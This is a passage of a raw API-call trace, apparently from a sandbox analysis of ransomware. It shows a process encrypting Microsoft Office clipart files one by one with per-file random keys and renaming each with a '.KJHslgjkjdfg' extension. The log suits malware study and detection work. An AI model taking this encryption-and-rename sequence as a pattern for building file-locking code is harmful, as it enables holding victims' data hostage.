hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0153.728] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0153.728] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x2, lpOverlapped=0x0) returned 1 [0153.730] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0153.730] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0153.730] GetProcessHeap () returned 0x2a0000 [0153.730] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0153.730] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0153.730] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0153.730] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0153.730] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0153.730] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0153.730] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0153.730] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0153.731] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0153.731] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0153.731] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0153.731] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.731] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xf7e, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xf7e, lpOverlapped=0x0) returned 1 [0153.731] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xf80, dwBufLen=0xf80 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xf80) returned 1 [0153.731] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.731] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xf80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xf80, lpOverlapped=0x0) returned 1 [0153.731] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0153.731] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1054, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.731] SetEndOfFile (hFile=0x114) returned 1 [0153.734] GetProcessHeap () returned 0x2a0000 [0153.734] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0153.734] GetProcessHeap () returned 0x2a0000 [0153.734] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0153.734] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00174_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00174_.gif.kjhslgjkjdfg")) returned 1 [0153.735] CloseHandle (hObject=0x114) returned 1 [0153.735] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc18a400, ftCreationTime.dwHighDateTime=0x1bd4e52, ftLastAccessTime.dwLowDateTime=0x5eb686b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc18a400, ftLastWriteTime.dwHighDateTime=0x1bd4e52, nFileSizeHigh=0x0, nFileSizeLow=0xd32, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AG00175_.GIF", cAlternateFileName="")) returned 1 [0153.735] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00175_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0153.735] GetProcessHeap () returned 0x2a0000 [0153.735] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0153.735] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0153.735] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0153.735] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xe, lpOverlapped=0x0) returned 1 [0153.737] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0153.737] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0153.737] GetProcessHeap () returned 0x2a0000 [0153.737] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0153.738] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0153.738] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0153.738] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0153.738] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0153.738] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0153.738] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0153.738] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0153.738] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0153.738] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0153.738] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0153.738] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.738] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xd32, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xd32, lpOverlapped=0x0) returned 1 [0153.738] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xd40, dwBufLen=0xd40 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xd40) returned 1 [0153.738] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.738] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xd40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xd40, lpOverlapped=0x0) returned 1 [0153.739] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0153.739] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xe14, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.739] SetEndOfFile (hFile=0x114) returned 1 [0153.741] GetProcessHeap () returned 0x2a0000 [0153.741] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0153.741] GetProcessHeap () returned 0x2a0000 [0153.741] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0153.741] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00175_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00175_.gif.kjhslgjkjdfg")) returned 1 [0153.742] CloseHandle (hObject=0x114) returned 1 [0153.742] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e3cb900, ftCreationTime.dwHighDateTime=0x1bd4e52, ftLastAccessTime.dwLowDateTime=0x5eb686b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6e3cb900, ftLastWriteTime.dwHighDateTime=0x1bd4e52, nFileSizeHigh=0x0, nFileSizeLow=0xc30, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AG00176_.GIF", cAlternateFileName="")) returned 1 [0153.743] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00176_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0153.743] GetProcessHeap () returned 0x2a0000 [0153.743] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0153.744] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0153.744] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0153.744] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0153.744] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0153.744] GetProcessHeap () returned 0x2a0000 [0153.744] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0153.744] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0153.744] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0153.744] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0153.746] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0153.746] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0153.746] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0153.746] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0153.746] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0153.746] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0153.746] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0153.746] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.746] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xc30, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xc30, lpOverlapped=0x0) returned 1 [0153.747] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xc30, dwBufLen=0xc30 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xc30) returned 1 [0153.747] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.747] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xc30, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xc30, lpOverlapped=0x0) returned 1 [0153.747] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0153.747] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xd04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.747] SetEndOfFile (hFile=0x114) returned 1 [0153.749] GetProcessHeap () returned 0x2a0000 [0153.750] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0153.750] GetProcessHeap () returned 0x2a0000 [0153.750] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0153.750] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00176_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00176_.gif.kjhslgjkjdfg")) returned 1 [0153.753] CloseHandle (hObject=0x114) returned 1 [0153.753] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a5f2300, ftCreationTime.dwHighDateTime=0x1bd4af1, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5a5f2300, ftLastWriteTime.dwHighDateTime=0x1bd4af1, nFileSizeHigh=0x0, nFileSizeLow=0xbd2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AN00010_.WMF", cAlternateFileName="")) returned 1 [0153.753] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00010_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0153.754] GetProcessHeap () returned 0x2a0000 [0153.754] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0153.754] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0153.754] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0153.755] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xe, lpOverlapped=0x0) returned 1 [0153.757] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0153.757] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0153.757] GetProcessHeap () returned 0x2a0000 [0153.757] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0153.757] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0153.757] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0153.757] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0153.757] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0153.757] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0153.757] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0153.757] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0153.757] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0153.757] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0153.757] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0153.757] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.757] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xbd2, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xbd2, lpOverlapped=0x0) returned 1 [0153.757] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xbe0, dwBufLen=0xbe0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xbe0) returned 1 [0153.757] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.758] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xbe0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xbe0, lpOverlapped=0x0) returned 1 [0153.758] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0153.758] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xcb4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.758] SetEndOfFile (hFile=0x114) returned 1 [0153.760] GetProcessHeap () returned 0x2a0000 [0153.760] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0153.760] GetProcessHeap () returned 0x2a0000 [0153.760] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0153.760] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00010_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00010_.wmf.kjhslgjkjdfg")) returned 1 [0153.761] CloseHandle (hObject=0x114) returned 1 [0153.761] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xab1c4f00, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xab1c4f00, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x127e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AN00015_.WMF", cAlternateFileName="")) returned 1 [0153.761] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00015_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0153.762] GetProcessHeap () returned 0x2a0000 [0153.762] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0153.762] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0153.762] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0153.762] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x2, lpOverlapped=0x0) returned 1 [0153.764] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0153.764] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0153.764] GetProcessHeap () returned 0x2a0000 [0153.764] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0153.764] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0153.764] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0153.764] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0153.764] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, 